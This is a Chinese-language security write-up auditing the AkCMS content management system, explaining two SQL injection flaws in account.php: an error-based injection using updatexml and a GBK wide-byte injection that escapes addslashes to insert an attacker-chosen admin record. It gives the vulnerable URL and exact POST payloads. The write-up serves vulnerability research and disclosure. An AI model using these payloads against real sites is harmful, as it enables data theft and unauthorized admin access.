Akcms注入漏洞的insert與select組合拳
0x00 安裝
首先下載這個Cms光從安裝向導就發現了一個敏感的玩意。

網站Mysql默認采用 Gbk 編碼,這會造成寬字節注入漏洞。
隨后簡單分析了一下這套CMS。看了一下運行流程。關于MVC的東西這里就不再說明了。
0x01 漏洞源頭
漏洞文件:akcms/account.php
漏洞URL:
akcms/index.php?file=account&action=manageaccounts&job=newaccount
Payload:
報錯注入,POST發送:account=12' or updatexml(1,concat(1,user()),1) -- &password=12 二次注入,POST發送:account=1'# %df',123),(user(),123)# &password=1
0x02 代碼分析
akcms/account.php文件的第70-76行

71行有查詢操作,可以看到被引號所包裹,接收POST居然無任何過濾。但是有一定局限性,因為這里是用if語句進行判斷然后走分支,所以沒有回顯。

但是如果報錯開啟的情況下我們可以進行報錯注入。
看一下 get_by成員方法

Get_by方法沒有進行任何過濾操作。
構造Payload:
account=12' or updatexml(1,concat(1,user()),1) -- &password=12
結果:

但是沒有開啟報錯注入情況下呢,我們把目光放在76行的插入操作。

$value = array('editor' => $post_account,'password' => ak_md5($post_password, 0, 2));$db->insert('admins', $value);
76行進行了插入操作,(為了實現后臺添加管理員賬號密碼)
再來看一下insert成員方法

Insert方法將傳遞過去的數據進行addslashes引號轉義,如果站長使用默認GBK形式的話,我們可以進行使用寬字節注入進行繞過。
foreach($values as $key => $value) {$keysql .= "`$key`,";$valuesql .= "'".$this->addslashes($value)."',";}
現在我們可控點如下:
INSERT INTO `ak_admins`(`editor`,`password`)VALUES('xxxx','c8b2f17833a4c73bb20f88876219ddcd')
有addslashes防御,根據語句我們想到可以這樣構造Payload:
1%df',1),(user(),2) --INSERT INTO `ak_admins`(`editor`,`password`)VALUES('1%df',1),(user(),2) -- ','c8b2f17833a4c73bb20f88876219ddcd')
按道理,我們是可以插入進去兩條數據的,一條為1,一條為數據庫user函數的返回值。
但是意外卻出現了,如圖:

前面的SELECT查詢語句把我們的Payload給暫停了,那么現在就有點意思了。我們非要進行二次注入。那就得繞過。
首先可控點1:SELECT * FROM 表 WHERE 字段='可控'
可控點2:INSERT INTO 表(字段1,字段2) VALUES('可控',一堆MD5…)
首先SELECT語句如果出現語法錯誤,那么就不會繼續往下執行,所以我們構造Payload:
1'# %df',123),(user(),123)#
則可控點1 成為了
SELECT * FROM 表 WHERE 字段='1'# %df',123),(user(),123)#
#把后面的語句全都注釋了,那么我們再來看一下可控點2
INSERT INTO 表(字段1,字段2) VALUES('\'# %df',123),(user(),123)#',一堆MD5…)
因為可控點2有addslashes轉義操作,所以我們的第一個引號被轉義,第二個引號我們使用%df進行寬字節注入,逃逸addslashes,之后的語句就是插入的第二條數據,(user(),123),會往數據庫插入一條用戶名為user函數返回值,密碼為123的數據。如圖:

整個漏洞詳細過程圓滿結束。

0x03 挖掘后事
對這次白盒審計感覺站長還是考慮的不到位,居然默認支持GBK編碼,第一個報錯注入居然沒有任何過濾操作,導致我們可以直接閉合,發送我們喜愛的SQL語句。第二個二次注入我們可以直接利用GBK來進行寬字節注入,也可以發送我們喜愛的SQL語句。作者給了我們喜愛的SQL注入,我們該不該喜愛寫BUG的站長?